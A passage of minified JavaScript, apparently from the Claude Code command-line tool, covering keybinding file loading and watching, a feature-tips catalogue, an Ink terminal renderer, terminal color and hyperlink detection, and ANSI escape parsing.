Date().toISOString().slice(0,10);if(Q_4===K)return;Q_4=K,n("tengu_custom_keybindings_loaded",{user_binding_count:A})}function k69(A){return typeof A==="object"&&A!==null&&"code"in A&&typeof A.code==="string"}function C69(A){if(typeof A!=="object"||A===null)return!1;let K=A;return typeof K.context==="string"&&typeof K.bindings==="object"&&K.bindings!==null}function c_4(A){return Array.isArray(A)&&A.every(C69)}function k4A(){return N69(w8(),"keybindings.json")}function jq6(){return H31(uXA)}async function L69(){let A=jq6();if(!gk())return{bindings:A,warnings:[]};let K=k4A();try{let q=await P69(K,"utf-8"),Y=G6(q),z;if(typeof Y==="object"&&Y!==null&&"bindings"in Y)z=Y.bindings;else return h('[keybindings] Invalid keybindings.json: keybindings.json must have a "bindings" array'),{bindings:A,warnings:[{type:"parse_error",severity:"error",message:'keybindings.json must have a "bindings" array',suggestion:'Use format: { "bindings": [ ... ] }'}]};if(!c_4(z)){let X=!Array.isArray(z)?'"bindings" must be an array':"keybindings.json contains invalid block structure",$=!Array.isArray(z)?'Set "bindings" to an array of keybinding blocks':'Each block must have "context" (string) and "bindings" (object)';return h(`[keybindings] Invalid keybindings.json: ${X}`),{bindings:A,warnings:[{type:"parse_error",severity:"error",message:X,suggestion:$}]}}let w=H31(z);h(`[keybindings] Loaded ${w.length} user bindings from ${K}`);let H=[...A,...w];d_4(w.length);let O=[...Wq6(q),...Dq6(z,H)];if(O.length>0)h(`[keybindings] Found ${O.length} validation issue(s)`);return{bindings:H,warnings:O}}catch(q){if(k69(q)&&q.code==="ENOENT")return{bindings:A,warnings:[]};return h(`[keybindings] Error loading ${K}: ${q instanceof Error?q.message:String(q)}`),{bindings:A,warnings:[{type:"parse_error",severity:"error",message:`Failed to parse keybindings.json: ${q instanceof Error?q.message:String(q)}`}]}}}function l_4(){if(xZ)return xZ;return qIA().bindings}function qIA(){if(xZ)return{bindings:xZ,warnings:RD};let A=jq6();if(!gk())return xZ=A,RD=[],{bindings:xZ,warnings:RD};let K=k4A();try{let q=f69(K,"utf-8"),Y=G6(q),z;if(typeof Y==="object"&&Y!==null&&"bindings"in Y)z=Y.bindings;else return xZ=A,RD=[{type:"parse_error",severity:"error",message:'keybindings.json must have a "bindings" array',suggestion:'Use format: { "bindings": [ ... ] }'}],{bindings:xZ,warnings:RD};if(!c_4(z)){let J=!Array.isArray(z)?'"bindings" must be an array':"keybindings.json contains invalid block structure",O=!Array.isArray(z)?'Set "bindings" to an array of keybinding blocks':'Each block must have "context" (string) and "bindings" (object)';return xZ=A,RD=[{type:"parse_error",severity:"error",message:J,suggestion:O}],{bindings:xZ,warnings:RD}}let w=H31(z);if(h(`[keybindings] Loaded ${w.length} user bindings from ${K}`),xZ=[...A,...w],d_4(w.length),RD=[...Wq6(q),...Dq6(z,xZ)],RD.length>0)h(`[keybindings] Found ${RD.length} validation issue(s)`);return{bindings:xZ,warnings:RD}}catch{return xZ=A,RD=[],{bindings:xZ,warnings:RD}}}async function i_4(){if(F_4||p_4)return;if(!gk()){h("[keybindings] Skipping file watcher - user customization disabled");return}let A=k4A(),K=T69(A);try{if(!(await V69(K)).isDirectory()){h(`[keybindings] Not watching: ${K} is not a directory`);return}}catch{h(`[keybindings] Not watching: ${K} does not exist`);return}F_4=!0,h(`[keybindings] Watching for changes to ${A}`),E4A=FJA.watch(A,{persistent:!0,ignoreInitial:!0,awaitWriteFinish:{stabilityThreshold:v69,pollInterval:E69},ignorePermissionErrors:!0,usePolling:!1,atomic:!0}),E4A.on("add",U_4),E4A.on("change",U_4),E4A.on("unlink",y69),kK(async()=>R69())}function R69(){if(p_4=!0,E4A)E4A.close(),E4A=null;KIA.clear()}function n_4(A){return KIA.add(A),()=>{KIA.delete(A)}}async function U_4(A){h(`[keybindings] Detected change to ${A}`);try{let K=await L69();xZ=K.bindings,RD=K.warnings,KIA.forEach((q)=>q(K))}catch(K){h(`[keybindings] Error reloading: ${K instanceof Error?K.message:String(K)}`)}}async function y69(A){h(`[keybindings] Detected deletion of ${A}`);let K=jq6();xZ=K,RD=[],KIA.forEach((q)=>q({bindings:K,warnings:[]}))}function r_4(){return RD}var v69=500,E69=200,E4A=null,F_4=!1,p_4=!1,xZ=null,RD,KIA,Q_4=null;var jr=k(()=>{i11();l6();Z1();R2();b1();B7();l1();G31();g_4();RD=[],KIA=new Set});function cK(A,K,q){let Y=mk(),z=Y?.getDisplayText(A,K);if(z===void 0)return n("tengu_keybinding_fallback_used",{action:A,context:K,fallback:q,reason:Y?"action_not_found":"no_context"}),q;return z}function A$(A,K,q){let Y=l_4(),z=J31(A,K,Y);if(z===void 0)return n("tengu_keybinding_fallback_used",{action:A,context:K,fallback:q,reason:"action_not_found"}),q;return z}var Vz=k(()=>{SQ();jr();X31();l1()});import{existsSync as W31}from"fs";import{homedir as o_4}from"os";import{join as D31}from"path";function yY(A){let q=M1().featureUsage?.[A];return q!==void 0&&q.usageCount>0}function a_4(A){return M31.filter((K)=>K.categoryId===A)}function s_4(A){return j31.find((K)=>K.id===A)}function t_4(){let A={};for(let K of j31)A[K.id]={explored:0,total:0};return A}var j31,M31;var P31=k(()=>{i6();y4();I8();Vz();j31=[{id:"quick-wins",name:"Quick Wins",description:"Try these in 30 seconds",order:1},{id:"speed",name:"10x Your Speed",description:"Efficiency boosters",order:2},{id:"code",name:"Level Up Your Code",description:"Dev workflows",order:3},{id:"collaborate",name:"Share & Collaborate",description:"Work with your team",order:4},{id:"customize",name:"Make It Yours",description:"Personalize Claude",order:5},{id:"power-user",name:"Power User",description:"Advanced features",order:6}];M31=[{id:"image-paste",name:"Paste Images",description:"Paste screenshots for Claude to analyze",categoryId:"quick-wins",tryItPrompt:"Press Ctrl+V to paste an image from clipboard",hasBeenUsed:async()=>yY("image-paste")},{id:"resume",name:"Resume Conversations",description:"Pick up where you left off",categoryId:"quick-wins",tryItPrompt:"Type /resume to continue a past conversation",hasBeenUsed:async()=>yY("resume")},{id:"cost",name:"Track Costs",description:"See your session spending",categoryId:"quick-wins",tryItPrompt:"Type /cost to see session cost",hasBeenUsed:async()=>yY("cost")},{id:"external-editor",name:"External Editor",description:"Edit prompts in VS Code or vim",categoryId:"quick-wins",get tryItPrompt(){return`Press ${A$("chat:externalEditor","Chat","Ctrl+G")} to open your editor`},hasBeenUsed:async()=>yY("external-editor")},{id:"slash-commands",name:"Skills",description:"Quick actions with /skills",categoryId:"quick-wins",tryItPrompt:"Type / to see available skills",hasBeenUsed:async()=>yY("slash-commands")},{id:"at-mentions",name:"@-mentions",description:"Reference files with @filename",categoryId:"quick-wins",tryItPrompt:"Type @ followed by a filename",hasBeenUsed:async()=>yY("at-mentions")},{id:"clear",name:"Fresh Start",description:"Clear and start over",categoryId:"quick-wins",tryItPrompt:"Type /clear for a fresh conversation",hasBeenUsed:async()=>yY("clear")},{id:"rewind",name:"Undo Changes",description:"Go back to a previous point",categoryId:"quick-wins",tryItPrompt:"Type /rewind to undo",hasBeenUsed:async()=>yY("rewind")},{id:"ctrl-underscore",name:"Quick Undo",description:"Undo with keyboard shortcut",categoryId:"quick-wins",get tryItPrompt(){return`Press ${A$("chat:undo","Chat","Ctrl+_")} to undo`},hasBeenUsed:async()=>yY("ctrl-underscore")},{id:"double-escape",name:"Clear Input",description:"Double-tap Escape to clear",categoryId:"quick-wins",tryItPrompt:"Press Escape twice to clear input",hasBeenUsed:async()=>yY("double-escape")},{id:"prompt-stash",name:"Stash Prompt",description:"Save prompt for later",categoryId:"quick-wins",get tryItPrompt(){let A=A$("chat:stash","Chat","Ctrl+S");return`Press ${A} to stash, ${A} again to restore`},hasBeenUsed:async()=>yY("prompt-stash")},{id:"vim-mode",name:"Vim Mode",description:"Vim keybindings in the prompt",categoryId:"speed",tryItPrompt:"Type /vim to toggle Vim mode",hasBeenUsed:async()=>yY("vim-mode")},{id:"history-search",name:"History Search",description:"Search past prompts like bash",categoryId:"speed",get tryItPrompt(){return`Press ${A$("history:search","Global","Ctrl+R")} to search history`},hasBeenUsed:async()=>yY("history-search")},{id:"tab-completion",name:"Tab Completion",description:"Autocomplete file paths",categoryId:"speed",tryItPrompt:"Start typing a path and press Tab",hasBeenUsed:async()=>yY("tab-completion")},{id:"prompt-queue",name:"Prompt Queue",description:"Type while Claude works",categoryId:"speed",tryItPrompt:"Type your next prompt while Claude is responding",hasBeenUsed:async()=>{return M1().promptQueueUseCount>0}},{id:"teleport",name:"Teleport",description:"Jump to any GitHub repo instantly",categoryId:"speed",tryItPrompt:"Type /teleport owner/repo to jump there",hasBeenUsed:async()=>yY("teleport")},{id:"plan-mode",name:"Plan Mode",description:"Think before you code",categoryId:"speed",tryItPrompt:"Press Shift+Tab twice for Plan Mode",hasBeenUsed:async()=>{return M1().lastPlanModeUse!==void 0}},{id:"bash-mode",name:"Bash Mode",description:"Run shell commands with ! prefix",categoryId:"speed",tryItPrompt:"Type !ls to list files",hasBeenUsed:async()=>yY("bash-mode")},{id:"compact",name:"Compact Context",description:"Summarize to free up space",categoryId:"speed",tryItPrompt:"Type /compact to summarize",hasBeenUsed:async()=>yY("compact")},{id:"memory-mode",name:"Quick Memory",description:"Save notes with # prefix",categoryId:"speed",tryItPrompt:"Press # to add to memory",hasBeenUsed:async()=>{return M1().memoryUsageCount>0}},{id:"auto-accept-mode",name:"Auto-Accept Edits",description:"Skip confirmations",categoryId:"speed",tryItPrompt:"Press Shift+Tab once for Auto-Accept",hasBeenUsed:async()=>yY("auto-accept-mode")},{id:"context",name:"Context Viewer",description:"See what Claude sees",categoryId:"speed",tryItPrompt:"Type /context to visualize usage",hasBeenUsed:async()=>yY("context")},{id:"backslash-return",name:"Multi-line Input",description:"Type longer prompts",categoryId:"speed",tryItPrompt:"Type \\ then Enter for a new line",hasBeenUsed:async()=>{return M1().hasUsedBackslashReturn===!0}},{id:"review",name:"Code Review",description:"AI-powered code review",categoryId:"code",tryItPrompt:"Type /review to review a PR",hasBeenUsed:async()=>yY("review")},{id:"security-review",name:"Security Review",description:"Find vulnerabilities",categoryId:"code",tryItPrompt:"Ask Claude to do a security review",hasBeenUsed:async()=>yY("security-review")},{id:"git-commits",name:"Git Commits",description:"Claude-assisted commits",categoryId:"code",tryItPrompt:"Ask Claude to commit your changes",hasBeenUsed:async()=>yY("git-commits")},{id:"pr-creation",name:"PR Creation",description:"Create PRs with Claude",categoryId:"code",tryItPrompt:"Ask Claude to create a pull request",hasBeenUsed:async()=>yY("pr-creation")},{id:"branch-management",name:"Branch Management",description:"Git branch operations",categoryId:"code",tryItPrompt:"Ask Claude to create a branch",hasBeenUsed:async()=>yY("branch-management")},{id:"share",name:"Share Conversations",description:"Share a link to your session",categoryId:"collaborate",tryItPrompt:"Type /share to get a shareable link",hasBeenUsed:async()=>yY("share")},{id:"export",name:"Export",description:"Save as markdown",categoryId:"collaborate",tryItPrompt:"Type /export to save conversation",hasBeenUsed:async()=>yY("export")},{id:"github-app",name:"GitHub Integration",description:"Connect to GitHub Actions",categoryId:"collaborate",tryItPrompt:"Type /install-github-app to set up",hasBeenUsed:async()=>yY("github-app")},{id:"slack-app",name:"Slack Notifications",description:"Get notified in Slack",categoryId:"collaborate",tryItPrompt:"Type /install-slack-app to connect",hasBeenUsed:async()=>yY("slack-app")},{id:"custom-commands",name:"Custom Skills",description:"Create your own /skills",categoryId:"customize",tryItPrompt:"Create .claude/skills/myskill/SKILL.md",hasBeenUsed:async()=>{let A=x1(),K=D31(A,".claude","skills"),q=D31(o_4(),".claude","skills");return W31(K)||W31(q)}},{id:"hooks",name:"Hooks",description:"Auto-run scripts on events",categoryId:"customize",tryItPrompt:"Add hooks to .claude/settings.json",hasBeenUsed:async()=>{let A=J8();return Object.keys(A.hooks??{}).length>0}},{id:"theme",name:"Themes",description:"Customize colors",categoryId:"customize",tryItPrompt:"Type /config to change theme",hasBeenUsed:async()=>yY("theme")},{id:"claude-md-project",name:"Project Instructions",description:"CLAUDE.md for your project",categoryId:"customize",tryItPrompt:"Create CLAUDE.md in your project root",hasBeenUsed:async()=>{let A=x1(),K=D31(A,"CLAUDE.md");return W31(K)}},{id:"claude-md-user",name:"Personal Instructions",description:"Your global CLAUDE.md",categoryId:"customize",tryItPrompt:"Create ~/.claude/CLAUDE.md",hasBeenUsed:async()=>{let A=D31(o_4(),".claude","CLAUDE.md");return W31(A)}},{id:"mcp-servers",name:"MCP Servers",description:"Connect external tools",categoryId:"power-user",tryItPrompt:"Type /mcp to manage servers",hasBeenUsed:async()=>{let A=M1();return Object.keys(A.mcpServers??{}).length>0}},{id:"ide-integration",name:"IDE Integration",description:"Connect to VS Code",categoryId:"power-user",tryItPrompt:"Type /ide to configure",hasBeenUsed:async()=>yY("ide-integration")},{id:"subagents",name:"Subagents",description:"Claude spawns helper agents",categoryId:"power-user",tryItPrompt:"Ask Claude to explore the codebase",hasBeenUsed:async()=>yY("subagents")},{id:"plugins",name:"Plugins",description:"Extend with plugins",categoryId:"power-user",tryItPrompt:"Type /plugin to manage plugins",hasBeenUsed:async()=>yY("plugins")},{id:"multi-directory",name:"Multi-Directory",description:"Work across projects",categoryId:"power-user",tryItPrompt:"Type /add-dir to add another directory",hasBeenUsed:async()=>yY("multi-directory")}]});function V31(){return!1}function l7(A){if(!V31())return;let Y=(M1().featureUsage??{})[A],z={firstUsedAt:Y?.firstUsedAt??Date.now(),usageCount:(Y?.usageCount??0)+1};if(!Y||Y.usageCount!==z.usageCount)D6((w)=>({...w,featureUsage:{...w.featureUsage,[A]:z}}))}async function e_4(){let A=M31.map(async(z)=>({id:z.id,categoryId:z.categoryId,used:await z.hasBeenUsed()})),K=await Promise.all(A),q=t_4(),Y=0;for(let z of K)if(q[z.categoryId].total++,z.used)q[z.categoryId].explored++,Y++;return{explored:Y,total:M31.length,byCategory:q}}var g2=k(()=>{i6();P31()});import{writeSync as YIA}from"fs";class f31{options;log;terminal;scheduleRender;isUnmounted=!1;isPaused=!1;container;rootNode;renderer;stylePool;charPool;hyperlinkPool;exitPromise;restoreConsole;unsubscribeTTYHandlers;terminalColumns;terminalRows;currentNode=null;frontFrame;backFrame;lastPoolResetTime=performance.now();constructor(A){this.options=A;if(j76(this),this.options.patchConsole)this.restoreConsole=this.patchConsole();if(this.terminal={stdout:A.stdout,stderr:A.stderr},this.terminalColumns=A.stdout.columns||80,this.terminalRows=A.stdout.rows||24,this.stylePool=new CK6,this.charPool=new C51,this.hyperlinkPool=new L51,this.frontFrame=Dr(this.terminalRows,this.terminalColumns,this.stylePool,this.charPool,this.hyperlinkPool),this.backFrame=Dr(this.terminalRows,this.terminalColumns,this.stylePool,this.charPool,this.hyperlinkPool),this.log=new bK6({debug:A.debug,isTTY:A.stdout.isTTY||!1,stylePool:this.stylePool}),this.scheduleRender=A.debug?this.onRender:D76(this.onRender,32,{leading:!0,trailing:!0}),this.isUnmounted=!1,this.unsubscribeExit=_rA(this.unmount,{alwaysLast:!1}),A.stdout.isTTY)A.stdout.on("resize",this.handleResize),process.on("SIGCONT",this.handleResume),this.unsubscribeTTYHandlers=()=>{A.stdout.off("resize",this.handleResize),process.off("SIGCONT",this.handleResume)};this.rootNode=P51("ink-root"),this.renderer=SK6(this.rootNode,this.stylePool),this.rootNode.onRender=this.scheduleRender,this.rootNode.onImmediateRender=this.onRender,this.rootNode.onComputeLayout=()=>{if(this.isUnmounted)return;if(this.rootNode.yogaNode)this.rootNode.yogaNode.setWidth(this.terminalColumns),this.rootNode.yogaNode.calculateLayout(this.terminalColumns)},this.container=$r.createContainer(this.rootNode,0,null,!1,null,"id",ig,ig,ig,ig)}handleResume=()=>{if(!this.options.stdout.isTTY)return;this.frontFrame=Dr(this.frontFrame.viewport.height,this.frontFrame.viewport.width,this.stylePool,this.charPool,this.hyperlinkPool),this.backFrame=Dr(this.backFrame.viewport.height,this.backFrame.viewport.width,this.stylePool,this.charPool,this.hyperlinkPool),this.log.reset()};handleResize=()=>{if(this.terminalColumns=this.options.stdout.columns||80,this.terminalRows=this.options.stdout.rows||24,this.currentNode!==null)this.render(this.currentNode)};resolveExitPromise=()=>{};rejectExitPromise=()=>{};unsubscribeExit=()=>{};setTheme(A){this.options.theme=A}handleThemeChange=(A)=>{this.setTheme(A)};handleThemeSave=(A)=>{l7("theme"),D6((K)=>({...K,theme:A}))};onRender(){if(this.isUnmounted||this.isPaused)return;let A=performance.now(),K=this.options.stdout.columns||80,q=this.options.stdout.rows||24,Y=this.renderer({frontFrame:this.frontFrame,backFrame:this.backFrame,isTTY:this.options.stdout.isTTY,terminalWidth:K,terminalRows:q}),z=this.log.render(this.frontFrame,Y);if(this.backFrame=this.frontFrame,this.frontFrame=Y,A-this.lastPoolResetTime>300000)this.resetPools(),this.lastPoolResetTime=A;let w=[];for(let H of z)if(H.type==="clearTerminal")w.push({desiredHeight:Y.screen.height,availableHeight:Y.viewport.height,reason:H.reason});Xq6(this.terminal,$q6(z)),this.options.onFrame?.({durationMs:performance.now()-A,flickers:w})}pause(){$r.flushSyncFromReconciler(),this.onRender(),this.isPaused=!0}resume(){this.isPaused=!1,this.onRender()}repaint(){this.frontFrame=Dr(this.frontFrame.viewport.height,this.frontFrame.viewport.width,this.stylePool,this.charPool,this.hyperlinkPool),this.backFrame=Dr(this.backFrame.viewport.height,this.backFrame.viewport.width,this.stylePool,this.charPool,this.hyperlinkPool),this.log.reset()}stdinListeners=[];wasRawMode=!1;suspendStdin(){let A=this.options.stdin;if(!A.isTTY)return;A.listeners("readable").forEach((Y)=>{this.stdinListeners.push({event:"readable",listener:Y}),A.removeListener("readable",Y)});let q=A;if(q.isRaw&&q.setRawMode)q.setRawMode(!1),this.wasRawMode=!0}resumeStdin(){let A=this.options.stdin;if(!A.isTTY)return;if(this.stdinListeners.forEach(({event:K,listener:q})=>{A.addListener(K,q)}),this.stdinListeners=[],this.wasRawMode){let K=A;if(K.setRawMode)K.setRawMode(!0);this.wasRawMode=!1}}render(A){this.currentNode=A;let K=Mq6.default.createElement(d51,{initialTheme:this.options.theme,stdin:this.options.stdin,stdout:this.options.stdout,stderr:this.options.stderr,exitOnCtrlC:this.options.exitOnCtrlC,onExit:this.unmount,terminalColumns:this.terminalColumns,terminalRows:this.terminalRows,onThemeChange:this.handleThemeChange,onThemeSave:this.handleThemeSave},Mq6.default.createElement(S_4,{value:(q)=>this.options.stdout.write(q)},A));$r.updateContainer(K,this.container,null,ig)}unmount(A){if(this.isUnmounted)return;if(this.onRender(),this.unsubscribeExit(),typeof this.restoreConsole==="function")this.restoreConsole();this.unsubscribeTTYHandlers?.();let K=this.log.renderPreviousOutput_DEPRECATED(this.frontFrame);if(Xq6(this.terminal,$q6(K)),this.options.stdout.isTTY)YIA(1,DXA),YIA(1,M4A),YIA(1,IXA),YIA(1,Iy),YIA(1,c51);if(this.isUnmounted=!0,this.scheduleRender.cancel?.(),$r.updateContainer(null,this.container,null,ig),$r.flushPassiveEffects(),yy.delete(this.options.stdout),A instanceof Error)this.rejectExitPromise(A);else this.resolveExitPromise()}async waitUntilExit(){return this.exitPromise||=new Promise((A,K)=>{this.resolveExitPromise=A,this.rejectExitPromise=K}),this.exitPromise}resetLineCount(){if(this.options.stdout.isTTY&&!this.options.debug)this.backFrame=this.frontFrame,this.frontFrame=Dr(this.frontFrame.viewport.height,this.frontFrame.viewport.width,this.stylePool,this.charPool,this.hyperlinkPool),this.log.reset()}resetPools(){this.charPool=new C51,this.hyperlinkPool=new L51,x04(this.frontFrame.screen,this.charPool,this.hyperlinkPool),this.backFrame.screen.charPool=this.charPool,this.backFrame.screen.hyperlinkPool=this.hyperlinkPool}patchConsole(){if(this.options.debug)return;return LJ4((A,K)=>{if(A==="stdout")h(`console.log: ${K}`);if(A==="stderr")KA(Error(`console.error: ${K}`))})}}var Mq6;var AG4=k(()=>{EJ4();Ay1();RJ4();ZK6();c04();OK6();r04();CXA();uX4();T4A();C1();Z1();kx1();z31();h_4();EXA();P4A();Ix();SXA();i6();g2();Mq6=o($A(),1)});import{Stream as I69}from"node:stream";var S69=(A,K)=>{let q=b69(K),Y={stdout:process.stdout,stdin:process.stdin,stderr:process.stderr,debug:!1,exitOnCtrlC:!0,patchConsole:!0,...q,theme:q.theme??M1().theme},z=x69(Y.stdout,()=>new f31(Y));return z.render(A),{rerender:z.render,unmount(){z.unmount()},waitUntilExit:z.waitUntilExit,cleanup:()=>yy.delete(Y.stdout)}},h69=async(A,K)=>{h("[render] initLayout starting"),await aO4(),h("[render] initLayout complete");let q=S69(A,K);return h(`[render] first ink render: ${Math.round(process.uptime()*1000)}ms since process start`),q},M9,b69=(A={})=>{if(A instanceof I69)return{stdout:A,stdin:process.stdin};return A},x69=(A,K)=>{let q=yy.get(A);if(!q)q=K(),yy.set(A,q);return q};var KG4=k(()=>{AG4();zK6();CXA();i6();Z1();M9=h69});function zIA(A,K){if(!A)return;if(A.startsWith("rgb(")||A.startsWith("#")||A.startsWith("ansi256(")||A.startsWith("ansi:"))return A;return K[A]}function u69(A){let K=s(29),q,Y,z,w,H,J,O,X;if(K[0]!==A)({borderColor:Y,borderTopColor:H,borderBottomColor:q,borderLeftColor:z,borderRightColor:w,children:J,ref:O,...X}=A),K[0]=A,K[1]=q,K[2]=Y,K[3]=z,K[4]=w,K[5]=H,K[6]=J,K[7]=O,K[8]=X;else q=K[1],Y=K[2],z=K[3],w=K[4],H=K[5],J=K[6],O=K[7],X=K[8];let[$]=I4(),_,G,Z,W,D;if(K[9]!==q||K[10]!==Y||K[11]!==z||K[12]!==w||K[13]!==H||K[14]!==$){let P=Ry($);G=zIA(Y,P),W=zIA(H,P),_=zIA(q,P),Z=zIA(z,P),D=zIA(w,P),K[9]=q,K[10]=Y,K[11]=z,K[12]=w,K[13]=H,K[14]=$,K[15]=_,K[16]=G,K[17]=Z,K[18]=W,K[19]=D}else _=K[15],G=K[16],Z=K[17],W=K[18],D=K[19];let j=D,M;if(K[20]!==J||K[21]!==O||K[22]!==_||K[23]!==G||K[24]!==Z||K[25]!==j||K[26]!==W||K[27]!==X)M=qG4.default.createElement(mV,{ref:O,borderColor:G,borderTopColor:W,borderBottomColor:_,borderLeftColor:Z,borderRightColor:j,...X},J),K[20]=J,K[21]=O,K[22]=_,K[23]=G,K[24]=Z,K[25]=j,K[26]=W,K[27]=X,K[28]=M;else M=K[28];return M}var qG4,S;var YG4=k(()=>{cA();Z4A();QyA();FyA();qG4=o($A(),1);S=u69});var HG4=v((Uzw,wG4)=>{var B69=CA("os"),zG4=CA("tty"),Fk=wTA(),{env:GG}=process,Mr;if(Fk("no-color")||Fk("no-colors")||Fk("color=false")||Fk("color=never"))Mr=0;else if(Fk("color")||Fk("colors")||Fk("color=true")||Fk("color=always"))Mr=1;if("FORCE_COLOR"in GG)if(GG.FORCE_COLOR==="true")Mr=1;else if(GG.FORCE_COLOR==="false")Mr=0;else Mr=GG.FORCE_COLOR.length===0?1:Math.min(parseInt(GG.FORCE_COLOR,10),3);function Pq6(A){if(A===0)return!1;return{level:A,hasBasic:!0,has256:A>=2,has16m:A>=3}}function Vq6(A,K){if(Mr===0)return 0;if(Fk("color=16m")||Fk("color=full")||Fk("color=truecolor"))return 3;if(Fk("color=256"))return 2;if(A&&!K&&Mr===void 0)return 0;let q=Mr||0;if(GG.TERM==="dumb")return q;if(process.platform==="win32"){let Y=B69.release().split(".");if(Number(Y[0])>=10&&Number(Y[2])>=10586)return Number(Y[2])>=14931?3:2;return 1}if("CI"in GG){if(["TRAVIS","CIRCLECI","APPVEYOR","GITLAB_CI","GITHUB_ACTIONS","BUILDKITE"].some((Y)=>(Y in GG))||GG.CI_NAME==="codeship")return 1;return q}if("TEAMCITY_VERSION"in GG)return/^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/.test(GG.TEAMCITY_VERSION)?1:0;if(GG.COLORTERM==="truecolor")return 3;if("TERM_PROGRAM"in GG){let Y=parseInt((GG.TERM_PROGRAM_VERSION||"").split(".")[0],10);switch(GG.TERM_PROGRAM){case"iTerm.app":return Y>=3?3:2;case"Apple_Terminal":return 2}}if(/-256(color)?$/i.test(GG.TERM))return 2;if(/^screen|^xterm|^vt100|^vt220|^rxvt|color|ansi|cygwin|linux/i.test(GG.TERM))return 1;if("COLORTERM"in GG)return 1;return q}function m69(A){let K=Vq6(A,A&&A.isTTY);return Pq6(K)}wG4.exports={supportsColor:m69,stdout:Pq6(Vq6(!0,zG4.isatty(1))),stderr:Pq6(Vq6(!0,zG4.isatty(2)))}});var XG4=v((pzw,OG4)=>{var g69=HG4(),BXA=wTA();function JG4(A){if(/^\d{3,4}$/.test(A)){let q=/(\d{1,2})(\d{2})/.exec(A);return{major:0,minor:parseInt(q[1],10),patch:parseInt(q[2],10)}}let K=(A||"").split(".").map((q)=>parseInt(q,10));return{major:K[0],minor:K[1],patch:K[2]}}function fq6(A){let{env:K}=process;if("FORCE_HYPERLINK"in K)return!(K.FORCE_HYPERLINK.length>0&&parseInt(K.FORCE_HYPERLINK,10)===0);if(BXA("no-hyperlink")||BXA("no-hyperlinks")||BXA("hyperlink=false")||BXA("hyperlink=never"))return!1;if(BXA("hyperlink=true")||BXA("hyperlink=always"))return!0;if("NETLIFY"in K)return!0;if(!g69.supportsColor(A))return!1;if(A&&!A.isTTY)return!1;if(process.platform==="win32")return!1;if("CI"in K)return!1;if("TEAMCITY_VERSION"in K)return!1;if("TERM_PROGRAM"in K){let q=JG4(K.TERM_PROGRAM_VERSION);switch(K.TERM_PROGRAM){case"iTerm.app":if(q.major===3)return q.minor>=1;return q.major>3;case"WezTerm":return q.major>=20200620;case"vscode":return q.major>1||q.major===1&&q.minor>=72}}if("VTE_VERSION"in K){if(K.VTE_VERSION==="0.50.0")return!1;let q=JG4(K.VTE_VERSION);return q.major>0||q.minor>=50}return!1}OG4.exports={supportsHyperlink:fq6,stdout:fq6(process.stdout),stderr:fq6(process.stderr)}});function CT(){if($G4.default.stdout)return!0;let A=process.env.TERM_PROGRAM;if(A&&F69.includes(A))return!0;if(process.env.TERM?.includes("kitty"))return!0;return!1}var $G4,F69;var Pr=k(()=>{$G4=o(XG4(),1),F69=["ghostty","Hyper","kitty","alacritty"]});function X7(A){let K=s(5),{children:q,url:Y,fallback:z}=A,w=q??Y;if(CT()){let O;if(K[0]!==w||K[1]!==Y)O=N31.default.createElement($G,null,N31.default.createElement("ink-link",{href:Y},w)),K[0]=w,K[1]=Y,K[2]=O;else O=K[2];return O}let H=z??w,J;if(K[3]!==H)J=N31.default.createElement($G,null,H),K[3]=H,K[4]=J;else J=K[4];return J}var N31;var mXA=k(()=>{cA();Pr();LXA();N31=o($A(),1)});function gXA(){return{bold:!1,dim:!1,italic:!1,underline:"none",blink:!1,inverse:!1,hidden:!1,strikethrough:!1,overline:!1,fg:{type:"default"},bg:{type:"default"},underlineColor:{type:"default"}}}function _G4(A){if(A.length===0)return null;let K=A[0];if(K==="c")return{type:"reset"};if(K==="7")return{type:"cursor",action:{type:"save"}};if(K==="8")return{type:"cursor",action:{type:"restore"}};if(K==="D")return{type:"cursor",action:{type:"move",direction:"down",count:1}};if(K==="M")return{type:"cursor",action:{type:"move",direction:"up",count:1}};if(K==="E")return{type:"cursor",action:{type:"nextLine",count:1}};if(K==="H")return null;if("()".includes(K)&&A.length>=2)return null;return{type:"unknown",sequence:`\x1B${A}`}}function U69(A){if(A==="")return[{value:0,subparams:[],colon:!1}];let K=[],q={value:null,subparams:[],colon:!1},Y="",z=!1;for(let w=0;w<=A.length;w++){let H=A[w];if(H===";"||H===void 0){let J=Y===""?null:parseInt(Y,10);if(z){if(J!==null)q.subparams.push(J)}else q.value=J;K.push(q),q={value:null,subparams:[],colon:!1},Y="",z=!1}else if(H===":"){let J=Y===""?null:parseInt(Y,10);if(!z)q.value=J,q.colon=!0,z=!0;else if(J!==null)q.subparams.push(J);Y=""}else if(H>="0"&&H<="9")Y+=H}return K}function Nq6(A,K){let q=A[K];if(!q)return null;if(q.colon&&q.subparams.length>=1){if(q.subparams[0]===5&&q.subparams.length>=2)return{index:q.subparams[1]};if(q.subparams[0]===2&&q.subparams.length>=4){let z=q.subparams.length>=5?1:0;return{r:q.subparams[1+z],g:q.subparams[2+z],b:q.subparams[3+z]}}}let Y=A[K+1];if(!Y)return null;if(Y.value===5&&A[K+2]?.value!==null&&A[K+2]?.value!==void 0)return{index:A[K+2].value};if(Y.value===2){let z=A[K+2]?.value,w=A[K+3]?.value,H=A[K+4]?.value;if(z!==null&&z!==void 0&&w!==null&&w!==void 0&&H!==null&&H!==void 0)return{r:z,g:w,b:H}}return null}function GG4(A,K){let q=U69(A),Y={...K},z=0;while(z<q.length){let w=q[z],H=w.value??0;if(H===0){Y=gXA(),z++;continue}if(H===1){Y.bold=!0,z++;continue}if(H===2){Y.dim=!0,z++;continue}if(H===3){Y.italic=!0,z++;continue}if(H===4){Y.underline=w.colon?Q69[w.subparams[0]]??"single":"single",z++;continue}if(H===5||H===6){Y.blink=!0,z++;continue}if(H===7){Y.inverse=!0,z++;continue}if(H===8){Y.hidden=!0,z++;continue}if(H===9){Y.strikethrough=!0,z++;continue}if(H===21){Y.underline="double",z++;continue}if(H===22){Y.bold=!1,Y.dim=!1,z++;continue}if(H===23){Y.italic=!1,z++;continue}if(H===24){Y.underline="none",z++;continue}if(H===25){Y.blink=!1,z++;continue}if(H===27){Y.inverse=!1,z++;continue}if(H===28){Y.hidden=!1,z++;continue}if(H===29){Y.strikethrough=!1,z++;continue}if(H===53){Y.overline=!0,z++;continue}if(H===55){Y.overline=!1,z++;continue}if(H>=30&&H<=37){Y.fg={type:"named",name:T31[H-30]},z++;continue}if(H===39){Y.fg={type:"default"},z++;continue}if(H>=40&&H<=47){Y.bg={type:"named",name:T31[H-40]},z++;continue}if(H===49){Y.bg={type:"default"},z++;continue}if(H>=90&&H<=97){Y.fg={type:"name